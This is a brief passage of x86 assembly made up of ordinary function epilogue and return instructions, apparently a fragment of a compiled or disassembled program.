pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret